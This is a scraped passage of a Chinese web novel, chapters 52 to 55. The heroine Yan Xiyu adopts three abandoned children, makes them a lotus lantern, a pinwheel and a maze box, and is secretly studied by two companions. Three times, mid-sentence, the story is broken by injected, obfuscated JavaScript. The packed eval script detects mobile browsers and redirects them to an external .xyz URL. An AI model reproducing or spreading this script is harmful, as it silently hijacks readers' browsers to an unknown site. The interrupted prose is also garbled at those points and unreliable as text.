燕惜妤又勺了一勺子伸过去,一个小娃娃立即张开了嘴巴,燕惜妤轻轻喂了之后问:“这是阿弟还是阿妹?” “是……阿弟,”那小孩说。 “那这个就是阿妹了,”燕惜妤又给另一个小娃娃也喂了一勺子,“我只有一个勺子,你们三个小孩将就着吃。” 看他们衣着就知道躲在这乱石堆有段日子了 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仨小孩互相看了看,最后有个小娃娃走了过来,很乖地坐在燕惜妤的面前。 “乖,”燕惜妤给喂了一勺子面糊糊,然后又看向另一个小娃娃,“你呢?要过来这边坐着吃吗?” 那小娃娃等了好一会儿,才扶着石头走了过来。 “乖,”燕惜妤又给喂了一勾子面糊糊,然后问阿七,“阿七,哪个小娃娃矮点?” “后来的这个矮点,”羿衍椋说。 后来的这个小娃娃站在坐着的那个小娃娃旁边,摆出了随时逃跑的姿势。 这小娃娃,还挺聪明的。 燕惜妤又去看那个大一点的小孩:“站着的这个是阿弟还是阿妹?” “是阿妹,”那小孩扒着石头说。 “大哥二哥和三妹,”燕惜妤边给俩小娃娃喂面糊糊边和那小孩说话,“你们为什么会在这里?还记得你们的家在哪里吗?” 那小孩没说话,很显然他要是记不住,那俩小的就更不会记得。 “我们去乌州,你们要不要跟我们走?”燕惜妤就像当初问仲茂他们那样问这仨个小孩,“到了乌州或许能找到收养你们的人家,要是你们不想被收养,就先和我住着,等大一点了会赚钱了,你们再出去独立。” 等了好一会儿,那小孩才开口:“不走。” “为什么?”燕惜妤看着他问。 “我不……走,”那小孩又说,“阿弟阿妹同你走。” “你为什么不走?”燕惜妤奇怪道,“你不跟着,你难道就不怕我对你阿弟阿妹不好?” 那俩小娃娃是能听懂的,这会儿听见这句话,又跑回了他们哥哥的身边。 “……我腿……伤了,是拖累,”那小孩子低下头说,“我腿伤了……” “没事,”燕惜妤语气轻松地说,“我身边有俩个郎中,等会下了山,我让他们给你看腿,他们要是治不好,我带你进城找那些老郎中。” “……为什么?”那小孩猛地抬起了头,“我不认识你……”你为什么给陌生人找郎中治病? 燕惜妤笑着说:“因为我身边的阿七心软。” 羿衍椋和盛樗容一起转头看她。 “也因为你们是小孩儿,”燕惜妤站了起来,“还因为我们是大人,哪有大人见了受伤的小孩会不管的。” 52. 第52章 “我好像听见了小孩子的哭声,”仲茂抬头看着山林说。 “我也也也听听见……”仲四跟着点头。 “燕姑娘找到那小娃娃了?”仲二对着山林那边原地蹦了几下,估计是想跳高点看看,“她是不是把那小娃娃吓哭了?” “啪”一声,仲茂给了他后脑壳一巴掌,然后骂他:“怎的是咱燕姑娘吓哭小娃,难道不该是阿七和阿盛把小娃吓骂吗?” “那俩病怏怏的,估计倒半道上了,”仲二撇嘴,“这山高着呢,他俩许是都爬不上去。” 仲茂刚想点头,结果一抬眼,人家俩已经下来了,手里还各自都抱着个小娃娃。 仲五手里也抱着一个,他抱着的是最大的那个小孩。 燕惜妤端着碗跟在最后面,碗里还剩下一半的面糊糊,她没敢全给喂了,怕小娃娃一下子不能吃太饱。 “燕姑娘,怎的有三个小娃娃?”仲茂他们几个快步走了过去。 “在山里找到的,仲茂仲二再去捡些柴火回来,仲三你看着些几匹马,我们可能要过了晌午才赶路,”燕惜妤说完,然后转头去找佟瑰方俩姐弟,“佟姑娘,槿方,你俩帮他们三兄妹看看,大的那个腿上有伤。” 佟瑰方和佟槿方连忙围了过来。 “三姐,烧点水,”燕惜妤边说边走到他们原先的板车旁边,“我记得老村长给了我们一个木桶和一个木盆,在哪呢?” “在在在这,”仲四走过来从斗笠下拿出了那个木盆。 “给我三姐,水不用烧开,倒木盆里给仨小孩洗澡,”燕惜妤对仲四挥了挥手。 仲四拿着木盆走到了灶头边。 燕惜妤又开始有板车里翻她的包裹。 羿衍椋和盛樗容把手里的小娃娃交出去之后,就没他俩什么事了,这会儿坐在树荫下看着大家忙碌着。 佟槿方匆匆走过来拿他那个破药匣子,看见燕惜妤在翻衣裳,随口问了一句:“你把包裹打开做什么?” “找几件衣服给小孩子穿,他们身上的不能再穿了,”燕惜妤抬头看他,“小孩子怎么样了?大的那个腿伤能治吗?” “还没看,”佟槿方抱着药匣说,“他们头发里有头虱,我拿药去灭虱子。”他当了十年乞丐,乞丐不会递光头,所以一直都是披头散发的,他手上有去头虱的药粉。 “小神医有个八宝匣,”燕惜妤笑着说了一句,然后看见佟槿方还站着没动,看了他一眼,“怎么了?” 佟槿方偏开头说:“你先前给我卖了身衣裳……拿来改给小娃娃们穿吧。”当初燕惜妤救佟瑰方的时候,给他买了身女子的衫裙,后来他就一直收着。 “可以啊,”燕惜妤说,“你拿出来,我让三姐改小。” 佟槿方立即把那套衫裙拿了出来,然后抱着药匣头也不回地跑开。 罗采春在这时走了过来,她刚拿小铁锅和小瓦锅烧了水,也没烧多热,略微有些烫之后,就倒在木盆里给佟瑰方端了过去。 她又把小瓦锅和小铁锅添满了水搁在灶头上,这会儿过来是想找条布巾拿给佟瑰方。 “阿妹,你怎的把衣裳找出来了?”罗采春不记得这身衫裙是佟槿方的。 “这是之前佟槿方穿的,我要来打算让你改小拿来给仨小孩穿,”燕惜妤拎着手里的衣服看了看,“好像改不了三套,还差些布。” 她正打算再拿出一套她的衣服,罗采春却按了一下她的手:“用我原先穿的那身衣裳给他们改成短衣,再用那套新的改成小裤。” 说着,她就翻出了一身旧衫裙。她当初第一次见到燕惜妤时,穿的就是这身衣裳。虽然旧了些,也有几个补丁,但小孩子嘛,穿旧衣裳也常见。 “行,这身也给你,”燕惜妤把手里佟槿方的那套衫裙也塞给了罗采春,“三姐你给改成三套小的,给小孩子穿。” “好,我去瞧瞧他们穿多大的,你快把包裹缠好,别这么摊开着,”罗采春叮嘱了一句,拿着旧布巾转身走开了。 等她再回来的时候,燕惜妤的包裹才刚重新缠好。 “缠紧些,别到时候小孩子爬上来给捣散了,”罗采春边拿出针线剪子边笑着说。 “那我再绑紧一点,”燕惜妤说着,就把包裹的结给束成了死结。 “三姐,小孩子穿多大的?”燕惜妤见罗采春已经在剪布了,就问她,“我看大的有六、七岁了,俩小的没开口说过话,也不知道有没有三岁。” “你自己去看看不就晓得了?”罗采春奇怪地看了她一眼,“你怎的不去看?” “有佟瑰方俩姐弟和仲五在,我就不过去了,”燕惜妤帮着撑开要剪的衣服,“我去了也帮不上忙。” “那你在这也帮不上我的忙,”罗采春笑着说。 燕惜妤想了想,跳下了板车:“那我去做别的。” 她向着山脚走去,仲四连忙跟上:“燕姑娘,去……” “我找找有没有竹子,”燕惜妤边走边四处看。 山里竹子很多,仲四往旁边一指:“在那。” “你去拿砍刀过来,”燕惜妤对他说。 仲四一溜烟儿跑走,又一溜烟儿跑回来:“燕姑娘,砍砍……” “砍这,”燕惜妤伸手指了指。 仲四“哐哐”两下,就砍断了竹子。 燕惜妤拖着竹子往回走,边走边说:“你再去砍根树干,要你大腿那么粗的,不用太长,手臂那么长就行了。” 仲四拎着砍刀就去寻他大腿那么粗的树,中途遇见捡柴火回来的仲茂和仲二,仲茂把背上那捆柴火扔给仲二,和他去找树干了。 罗采春见她拖着竹子回来,手里不停地缝着衣裳,眼睛却看过来问:“砍竹子做甚?” “给小孩子做点玩具,免得这一路上他们无聊,”燕惜妤盘腿坐在板车旁,看道罗采春剪开的那两套衣裳问,“三姐,有多余的布料吗?给我几块。” “有,才丁点大的小娃娃,用不了多少布料,你剪吧,”罗采春又低头缝着手里的衣服。 “我先把竹子削一下,”燕惜妤拿出了她随身携带的匕首,先把竹子的枝叶削去,再把竹子截成几段。 等她要去剪布料的时候,罗采春已经缝好了一身小娃娃的衣裳了。 一件直领对襟的窄袖短衫,下面一条裤子,很小的一套小娃娃穿的衣裳。短衫是旧布料,裤子却是新的,不过裤子是皂色,新的并不显眼。 “这么可爱,”燕惜妤拿在手里看了看。 “燕姑娘,”佟瑰方这时抱着一个洗干净的小娃娃过来,“这是个女娃娃。” 那小女娃洗去了身上脏兮兮的污垢,露出了一张瘦瘦的小脸,太瘦了,但眼睛圆溜溜的,这会儿也不怕了,还露出一个软乎乎的笑。 “是小三妹,”燕惜妤笑着接过来,然后放在板车上,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493646|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看佟瑰方,“那大一点的小孩子腿伤怎么样?” “我阿弟正在看,”佟瑰方匆匆过来,又匆匆走开,“我再去给另一个小娃娃洗澡。” 她走到灶头旁边把那两锅水拎了过去,很快又重新拎了两锅冷水放在灶头上。 燕惜妤这时正在给那小娃娃穿衣服:“三姐,这是小三妹,她也是排第三。” “我来吧,”罗采春伸手接过小娃娃,很熟练地给小娃娃穿上衣服,她之前一直在家照顾弟弟妹妹,这些事早就已经做习惯了。 那小娃娃的头发还有些药粉的味道,燕惜妤把她放在罗采春的身旁,对她说:“你要在板车上坐着,还是要下地走。” 那小娃娃没理她,正在低头看着自己身上的衣裳。 “让她在这坐着,你把针线还有剪子拿下去,”罗采春温柔地理了理小娃娃披着的头发,“佟阿弟说这药粉用一次就能去掉头虱,以后就不会痒了。” 燕惜妤把针线和剪子放在草地上,然后拿着匕首在竹段上开始片竹篾。 她专心做着事,佟瑰方把另一个小男娃抱过来,她都没注意到。 罗采春把刚做好的衣裳给小男娃穿上,让他俩小娃娃在一起玩着一块布料,她继续低头给那个有腿伤的小孩缝衣裳。 燕惜妤专心做着手里的事,伸手往旁边扯过布料,一扯,结果没扯动。 她抬头一看,发现阿七正盘腿坐在她身旁,而她手里正扯着人家衣袍的下摆。 “你怎么过来了?”燕惜妤看看,发现阿盛在原来的树下靠着树干在歇息,“你不歇会?” 羿衍椋看着她手里奇怪的东西问:“你在做什么?” “给小三妹做个玩具,”燕惜妤举了举手里的东西,“很快就好了,你看出是什么了吗?” “灯笼?”阿七猜测,但却不像,“花灯?” “你看出来了?”燕惜妤有些惊喜,“是莲花灯,好看吧?” “嗯,”羿衍椋点头,虽然连莲花灯的影子都还没看见,但他仍然点头,“好看。” 燕惜妤做的莲花灯确实很好看。 像成人脑袋那么大的一个灯笼,由八片莲花瓣组成。那莲花瓣是竹篾弯出花瓣的形状,再用布料缝制。墨绿和浅蓝的布料相间,一共八片花瓣,合成了一个灯笼。 令人惊喜的是,八片花瓣是可以向外开的,当花瓣放下后,就从灯笼变成了一盏盛开的莲花灯。 “好看吧?”燕惜妤把花灯的提棍用线固定之后,她站起来提着莲花灯举到胸前欣赏了两眼,然后手一伸,递给了那小女娃,“小三妹,这是你的,喜欢吗?” 那小女娃呆呆地看着,一时没敢伸出手来。 “燕姐姐给你的,”罗采春替她接了过来,然后小心翼翼地放在燕惜妤的包裹上,“放这里,可不能弄坏了。” 那小男娃大胆些,伸出手轻轻碰了碰花瓣的布料,然后眼巴巴地看了过来。 燕惜妤把手里的竹子举给他看:“你的玩具还没做,你要等等。” 那小男娃听懂了,哼唧哼唧地要爬下板车。 罗采春连忙伸手去拦他。 “你想下来?”燕惜妤把他抱到草地上,“那你坐阿七哥哥旁边。” 羿衍椋也不知什么时候从盘腿坐,变成了支着单腿坐着。 他右手肘支在膝盖上,修长的手指撑着额角,正默默地看着燕惜妤。 53. 第53章 燕惜妤和他四目相对,笑着说:“阿七也想要一个这样的玩具吗?” 她边说边将地上的竹段都拿到了跟前。 小男娃是能听懂大人说话的,他原本要坐在阿七的身边,这会儿直直地站在着燕惜妤腿前,企图用他那小小的小身板地阿七挡住。 “小二弟,你这是?”燕惜妤看着他,又去看阿七,以前他怕阿七,结果她一抬头,小男娃立即就挪着脚丫子要挡住她的视线。 燕惜妤顿时就乐了:“你是怕我把这次做的玩具给阿七啊?” 小男娃点点头,然后伸出涂了药的小手指着他自己。 燕惜妤看懂了他的意思,笑着看向阿七:“阿七,你怎么看?要和小二弟抢玩具吗?” 羿衍椋一撩袍摆站了起来:“我去旁边坐。” 他又走回到盛樗容的身边坐下。 盛樗容一直靠着树干像是在沉思,见他回来,低声问:“七哥,看出什么没有?” 羿衍椋看着燕惜妤的背影说:“她不是习武之人。” 盛樗容立即蹙眉:“可她的轻功不在你之下。”他们俩人在渡船上亲眼见识过她的轻功。 “不只轻功,她的武功也未必会输我,”羿衍椋淡然说。 “你方才不是说她不是习武之人?”盛樗容有点不解地看着他,“她不习武,那她又为何会轻功?”这不是自相矛盾吗。 “正是这点我猜不透,”羿衍椋支着腿,手肘撑在膝盖上,指尖抵着额角看着前面的背影,“观她下盘,再细看她双手,根本就不是习武之人,可她偏偏武功了得。” 盛樗容紧蹙着眉低声问:“这不合常理吧?” “是,”羿衍椋眯了一下眼,“如若是自小习武,我在她身上应当能看出,可我看不出,若是近期才练武,那从她的手脚也能看出,但我仍然无法看出。” “……那她一身武功哪儿来的?”盛樗容眉头蹙的越来越紧,有些试探地低声说,“莫非她是练了什么邪功不成?” 羿衍椋指尖抵着额定,看着燕惜妤的背影,过了好一会儿才沉声说:“不像,无论什么武功,总是需要勤练的。” “那倒也是,”盛樗容像是松了一口气,然后说,“我也不信会有那什么邪功,像是我们最常见的说话和走路,孩童也是需要勤练的。” 羿衍椋没说话,垂着眼在想事情。 盛樗容安静了一会儿,又忍不住开口:“七哥,难道连你也看不出她的武功套路和来历?” “看不出,”羿衍椋连犹豫都没有,就直接说,“她的身手,我是第一次见。” “莫非……是域外来的?”盛樗容忽然想到了这个可能。 “燕家当年有正支去了域外?”羿衍椋反问他。 盛樗容立即摇头:“这我怎会知道。” 羿衍椋瞥他一眼:“她不像从域外来的。” “这也不是,那也不是,”盛樗容开始忧心,“难道真让她去乌州?” 说到乌州,盛樗容又有了新的烦恼:“她为何要去乌州?莫非她一路跟着我们?” 羿衍椋垂着眼坐着,像是睡着了。 “七哥!”盛樗容低声喊他,“你的人有给你传密函吗?密函有没有提到她?她怎么就姓燕呢。” 羿衍椋像是真睡着了似的,没回他的话。 “七哥!”盛樗容知道羿衍椋没睡,“你在想什么?” “我在想,”羿衍椋总算是开口说话了,“她的武功许是天生的。” 盛樗容一愣:“什么叫天生的?” “就是生来就有,随着娘胎出来的,”羿衍椋说出这句话时,自己也忍不住有些自嘲地扯了扯嘴角,“荒诞。” 盛樗容张了张嘴,然后叹了口气:“看来这燕姑娘的来头是真不小啊!” 叹完气,见羿衍椋又要闭目养神,于是他自言自语地:“罢了,反正到乌州还需要些日子,我们跟她同路,总会查清她背后的图谋。” 羿衍椋听了他这句话,又缓缓睁开了眼睛,沉默地注视着燕惜妤。 燕惜妤背对着他们正在缝着剪下来的布。 罗采春边缝着手里的衣服边忍不住看她:“阿妹,你这又是做的什么玩具?” 燕惜妤把几片扇叶用针线缝在小竹筒上,头也没抬地说:“三姐能看出来是什么吗?” “像是扇子,但又不像,”罗采春仔细看了之后摇头说,“看不出来。” 小男娃抬头看她,然后又紧张地黏着燕惜妤坐着,还把散在地上的布子和布料给捡了过来。 “小二哥真乖,”燕惜妤赞了他一句,然后把手里最后的步骤做好,“好了,这是你的玩具,拿去玩吧。” 那是一个和莲花灯一样大的风车,七片风车扇,和莲花灯同样的颜色。不过因为大了些,也重了些,所以没能被风吹着转动。 “这是?”罗采春好奇地问了一句。 “这是风车,”燕惜妤站到板车上,将手里的风车高高举起,迎着风的方向用手把风车转了一下,风车立即就被风吹着转动了起来。 “哇!”发出这声惊叹声的是仲茂,他带着仲二和帮燕惜妤找木头的仲四一起回来了,“燕姑娘,这是啥啊?” 燕惜妤跳下板车,把手里的风车递给了小男娃:“这是风车玩具,我给小娃娃做的,有了玩具,他们跟着我们去乌州的路上就有玩伴了。” “风车?”仲茂丢下背上的柴火大步走了过来,“让我瞧瞧。” 小男娃显然被他吓到了,一手举着风车,另一只手抱着了燕惜妤的脚。 “你要是把小孩吓哭了,你就得哄,”燕惜妤摸摸小娃娃还有些湿的头发。 “大哥!”仲二在板车旁对着仲茂挤眼弄眉,“看这个!” 仲茂一转身,看见了板车上放着的莲花灯:“哇,这又是啥?” “莲花灯,那也是小娃娃的,”燕惜妤看见他们盯着小娃娃的玩具看,就笑着说,“你们带着他俩一起玩,别把娃娃的玩具给玩坏了。” “嗳!”仲茂和仲二顿时傻乐着一手抱起小娃娃一手举着燕惜妤刚做好的玩具在原地转圈圈。 可把俩小娃娃吓得够呛,还好俩小娃娃没有哭,到后来反而还被逗笑了。 仲四眼巴巴看着,手里还抱着一截木头。 燕惜妤捧过他手里的木头,对他说:“你也去和他们玩吧。” 仲四立即撒丫子跑了。 罗采春笑着摇了摇头,见燕惜妤又找出了砍刀,有些纳闷地问:“怎的要拿砍刀?不是已经做好玩具了吗?” “还差大的那个小孩没玩具,”燕惜妤低着头对着那截木头看了又看,还用手量了一下尺寸,“我今日做不完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502544|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 罗采春拧眉:“他都那么大了,还玩什么玩具。”要村里,六、七岁的小孩子早就已经帮着家里干农活了,哪还有要什么玩具。 “他还是小孩呢,”燕惜妤说,“再说弟弟妹妹有玩具,他要是没有,他会伤心的。” 罗采春无奈地摇摇头。 就在这时,佟槿方和佟瑰方把那个小孩子抱了过来。 小孩子被放在那空的板车上,头发身上都擦洗干净了,能看出身体上有伤口,但不多,最严重的问题是他的那双腿,自膝盖下红肿变形,而且还有大面积的皮肤磨损,一眼看着就觉得很痛的感觉。 “这……”罗采春刚才还说这小孩能帮家里干活了,这会儿看着他的那双腿,立即就难受了,“怎的伤成这样了?佟姑娘,佟兄弟,他这腿……” “我能治,我阿弟的针灸也有用,”佟瑰方说,“但是我们手上没药材,所以没办法治。” “那只能往前走,等到了前面的城镇再买药材,”燕惜妤想了想,对那小孩说,“我们现在没办法为你治腿,你要再等几天。” 那小孩光溜溜地被几个姑娘看着,根本就没听她在说什么,只羞怯地低着头。 燕惜妤看出他的不自在:“三姐,他的衣服做好没?”这小孩家里可能是大户人家,一般村子的小孩这个年纪都光溜溜地在小河里玩水,大多不会有这种表情。 “做好了,”罗采春连忙把她刚缝好的衣裳拿了过来,“他腿上有伤,所以我给他缝了长袍,就先只穿长袍吧,裤子等腿治好了再穿。” “可以吗?”燕惜妤拿着袍子边给小孩穿上边问他,“裤子暂时先不穿。” 那小孩低着头,看着身上的长袍。虽然是旧衣改的,但长袍下摆垂到了脚踝,刚好能遮住他那双受伤的腿。 他点了点头。 罗采春就把手里拿着的裤子递给他:“这是裤子,你自个儿拿着,等腿好了再穿。” 那小孩接过,双方无意识地在把裤子叠好。 “燕姑娘!”仲茂这时和仲二抱着俩小娃娃过来了,“莲花灯能不能燃油灯?” “能吧,”燕惜妤接过他手里的小娃娃放在小孩的身边,顺手给对方整理了一下头发,“好了,歇会儿,看这一头的汗。” 仲二也把他手里的小娃娃放在板车上,但手里还举着风车:“这玩具放旁边的板车上吧,万一小娃娃睡觉的时候踢坏了呢。” “仲二你放过去吧,我们要替小娃娃保管好玩具,这样他们这一路才能有玩具玩。”罗采春也同意,她看见燕惜妤拿着匕首对着竹子又是削又是片的,又还拿着针线缝了半天,平日她阿妹哪有做过这些,可不得把玩具放好了。 燕惜妤和俩个小娃娃互相对视,然后她坐在板车上和他们商量:“玩具放在那板车上,你们睡在这板车里,要玩就再拿过来玩,好吗?” 俩小娃娃很乖巧地点头,刚才仲茂二人带他们玩了一会儿,这时他们眼中还有着欢乐。 “那好,你们陪哥哥坐会,在这晾干头发,”燕惜妤对罗采春和佟瑰方俩姐弟使了一个眼色,然后带着他们向树下走去。 盛樗容一直在观察着她,这会儿见她带着人过来,立即低声喊羿衍椋:“七哥,她走过来了,脸上的表情看着有点不对劲!” 闭目养神的羿衍椋缓缓睁开了眼睛。 54. 第54章 羿衍椋略微坐直了身体,然后抬头看着走过来的人问:“燕姑娘,怎么了?” “有件事要和你们说一下,”燕惜妤对着跟过来的罗采春几人招手,让大家围成一个圈坐了下来。 “咳,是这样,”燕惜妤一脸严肃地说,“仨小孩我要带着去乌州。” “这事我们知道,”佟槿方也不明白燕惜妤为什么忽然要严肃地说这件事,“你方才说了。” “还有另外一件事,”燕惜妤微微拧着眉,“仨小孩得要有个名字。” “……”几人一脸呆滞地看着她。 “你一脸紧张兮兮地就为了说这事?”佟槿方有点儿无语,“这事……” “那你说,该喊他们什么?”燕惜妤瞥了他一眼,“你问出他们的名字没有?” 佟槿方不说话了,他还真是没问出来,那俩小的就不用问了,还不会说话。而大的那个,又是一问三不知,也不晓得是真不知还是不愿意说。 “要不,你给他们先起个名字?”佟槿方说,“先叫着,日后等有人收养了他们再改。” “我不会给小孩起名字,”燕惜妤摊手,“我叫俩小娃娃小二哥和小三妹,这名字它不好听。” “……是不好听,”佟槿方抽了抽嘴角,“哪有叫这名字的,就像叫外头的小乞丐似的。” 佟瑰方看了他一眼,想到她阿弟被人喊了十年小乞丐,她心里就难受:“是该给他们起个名字,总不能就这么胡乱叫着。” 罗采春也跟着点头,她以前在家时也没有名字,三丫这名字还是邻居给叫开的,家里人根本就没给她起名字,估计是想着反正日后都是要卖给富人当奴婢,多余再给起个名字。 “我也是这么想的,所以才过来问你们,”燕惜妤回头看了仲茂他们五兄弟一眼,“这事就不问仲茂他们了。”除了仲茂,其他四人都是二三四五的名字,怕问了他们会令他们觉得难堪。 “那该起什么样的名字?”罗采春忍不住问,她不识字,只能期望着燕惜妤能给小娃娃们起个好听的名字。 燕惜妤看了面前的一圈人,最后将视线定在对面的人身上:“阿七,你负责给仨小孩想出名字来。” 盛樗容目光从她身上缓缓移到羿衍椋的身上。 “为何是我?”羿衍椋不由的开口问了声。 “因为是你把小娃娃拎出来的,”燕惜妤抬着下颌说,“你要是不把小娃娃拎出来,我们现在就不需要聚在这里给他们想名字。”想名字这么难的事,这不是为难她燕惜妤嘛。 羿衍椋沉默了一霎。 盛樗容听了,悄悄在心里偷乐了一下。谁叫你没事去看什么野草丛,你惹出来的事,你总得担一点责任吧。 “阿七,想名字吧,”燕惜妤看着眼前的人,“小娃娃们还在等着呢。” 羿衍椋指尖抵着额角,垂着眼眸忽然说:“燕姑娘,你的名字是何人为你起的?” 燕惜妤一愣,下意识开口:“我的名字当然是……”可她说到后面渐渐没了声音。 罗采春在这时忽然说:“我阿妹的名字,自然是家中长辈起的。” 羿衍椋抬眸扫了她一眼,然后去看燕惜妤。 燕惜妤已经从沉思里回过神来,也瞥了他一眼:“怎么?你打算把我的名字给小娃娃们用?” 羿衍椋无声地笑了一下:“他们可不敢用你的姓氏和名字。” 燕惜妤盯着他,总觉得他的话中有话。 盛樗容在一旁听的直冒冷汗,七哥哎,你在做什么!你这可是会打草惊蛇的! “不过一个名字而已,”羿衍椋淡淡地说,“这也不难。” “那你说出来,我听听能不能用,”燕惜妤继续盯着他。 “你给俩小娃娃做了玩具,大的那个还没有?”羿衍椋看了板车那边一眼。 “对,大的是哥哥,先给小的做玩具,”燕惜妤说。主要是仲四才刚把木头找回来,所以她只能将小孩的那个玩具留在最后做。 “既然如此,那就叫他阿谦吧,”羿衍椋说。 燕惜妤没想到他这么快就想出了名字。 阿谦…… “小阿谦,”燕惜妤点头,“行,大的那个小孩叫阿谦,还有俩个小娃娃呢。” 羿衍椋看着她:“燕姑娘给俩小娃娃分别做了一个风车和莲花灯。” “是啊,你不也看到了,”燕惜妤奇怪地看着他,“难道你要拿玩具的名字给小娃娃用?”这么敷衍的吗? 羿衍椋勾唇笑了笑:“拿风车的那个小娃娃,名叫阿转,拿莲花灯的那个小娃娃,名叫玉彩。” 小阿谦,小阿转,小玉彩。 “……”燕惜妤有点儿震惊地看着他,“阿七,你是……你是个那什么……才子?” “我不是文人,”羿衍椋却摇了摇人,目光朝身旁看了一眼,“阿盛在当渔夫之前,曾是文人。”他和盛樗容,他是武将,而盛樗容,是有功名在身的举人。 燕惜妤看看他,又看看阿盛:“你俩当真是深藏不露啊。” “燕姑娘说笑了,”盛樗容有些赧然地说,“我这身体自小就不好,虽曾习了几年的字,但无奈实在是蠢笨,只能跟了亲戚去捕鱼,总归要先填饱肚腹才是。” “别谦虚了,日后如果还捡到小孩子,名字就让你帮着起,”燕惜妤对他俩摆摆手,“你俩继续发呆,我把名字给仨小孩说一下。” 她带着人表情严肃地过来,又带着人表情轻松地走开,留下羿衍椋和盛樗容面面相觑。 “……是个不按常理出牌的人,”盛樗容忽然笑了起来,“真是个有趣的人。” 羿衍椋瞥他一眼:“别被外表蒙蔽了你的双眼。” 盛樗容笑笑,没再说话。 他们看着燕惜妤走到板车旁,和那仨个小孩说话。 “你叫阿谦,你是阿转,你是玉彩,”燕惜妤将名字告诉仨小孩,还给他们指了指阿七,“是阿七哥哥给你们起的名字,你们先暂时用这个名字,可以吗?” 阿谦点点头:“好。” 小阿转和小玉彩不会说话,估计他们连名字是什么都不知道,这会儿正趴在板车的板沿上看着放在另一板车上的风车和灯笼。 “阿谦,这俩小的,以前会说话吗?”燕惜妤问腿受伤的阿谦。 “不知,”阿谦摇头。 “行吧,”燕惜妤不知道他是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505966|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知,还是在隐瞒着某些事。不过他们只是小孩子,就算真藏了什么事,应该也不会比她和三姐还有佟瑰方俩姐弟的严重,毕竟他们四人正在逃避衙门的通缉。 想到这里,燕惜妤立即喊来仲茂:“收拾收拾,咱们继续赶路。” 他们必须快点去到乌州定居下来,再在路上这么走着,他们这些人是会累垮的。 接下来的赶路,燕惜妤和仨小孩一起坐在板车上,她手里拿着匕首不停地在木头上雕刻着。 羿衍椋和盛樗容跟在板车后面走着,燕惜妤对他们说:“你们那两匹马不骑吗?它们只听你俩的话,仲茂想骑都差点被踢。” 羿衍椋摇头:“先不骑,有小孩子在,我怕制不服马匹时会踢到他们。”其实他是胸腹上有刀伤,怕上马的时候会将伤口撕裂的更严重。 盛樗容也摇头:“我这身体无法经常骑马,还是慢慢走着吧。”他身体羸弱是自娘胎带来的,打小被家里用各种名贵的药材养着,能长这么大,实属不易。 “那行吧,等你们想骑马时再说,”燕惜妤点点头,也不再理他们,继续做她自己的事。 羿衍椋一直在留意着她,看她拿着两块木头在手里刻了一天,直到夜深了手都不停。 燕惜妤熬了大半夜,总算是把阿谦的玩具给完成了。 那是一个滚球木盒,底盒是一整块木头做成的,盒里刻着错综复杂的路线,盒外有一出一入两个小口。 木盖子上面是花朵样式的镂空设计,把盖子合在木盒上,再把木球放进盒子的入口,然后凭着记忆晃动着木盒以便让木珠顺着刻出来的路线一路滚过弯弯曲曲的路线,直至从出口掉出。 “这个木盒子倒是有几分意思,”羿衍椋看着阿谦手中的木盒子,“虽然可以从木盖上面的镂空看见里面的路线,但盖子的镂空纹路反而会使人的视线出现错觉,从而让木球珠无法走到出口。” 盛樗容也对阿谦手中的玩具感兴趣:“她一个姑娘家,怎的会做出这些玩具。” 寻常人家的姑娘,送给自家亲戚小孩的玩具,通常是些动物的雕像,有钱人家送银鲤鱼暖玉蝉,穷人家送些木根雕刻的小狗小猫。而且都是拿银子买来的,也没谁家姑娘会自己动手做。 再说哪有她这样的,送小娃娃们会变成莲花形状的灯笼,会迎风转动的风车,还有大人都未必能玩得来的滚珠子木盒。 羿衍椋靠着树干坐着没说话,他的脸色很苍白。 “七哥,”盛樗容转头看他,发现他脸色不好,“你身上的伤……” “不碍事,”羿衍椋打断他,“待我入城会寻个大夫换药。”他身上敷的药早就不起作用了,但他没有可更换的药,只能咬牙硬撑着。 这天,他们总算来到了麀州兴县的城池外。 燕惜妤让大家在城外的小树林里停下歇息,而羿衍椋则牵着马准备进城去。 佟瑰方给他说了需要买的各种药材,燕惜妤又让他买些硬馍馍和精米白面,现在多了三个小孩子,在吃食方面需要讲究些。 羿衍椋点点头,然后牵着那匹通体乌黑的马向前走了两步,紧接着一个利索的翻身上马,之后骑着马向着城门飞奔而去。 55. 第55章 羿衍椋骑着马进城,守城兵并没有拦他。 在他们这些离边地比较近的州县,一般需要防的人,是那些和大承百姓长相有所差异的域外蛮夷之人。 而且在大承能骑马的人,不是军中将士,就是各州县的衙差,亦或是那些高门大旅的子弟,只要不是通缉榜上的那些通缉犯,守城兵一向不会阻拦他们进出城。 羿衍椋骑着马直向城中的药馆而去,下马的时候,他能感觉到胸腹的伤口有血液流出。 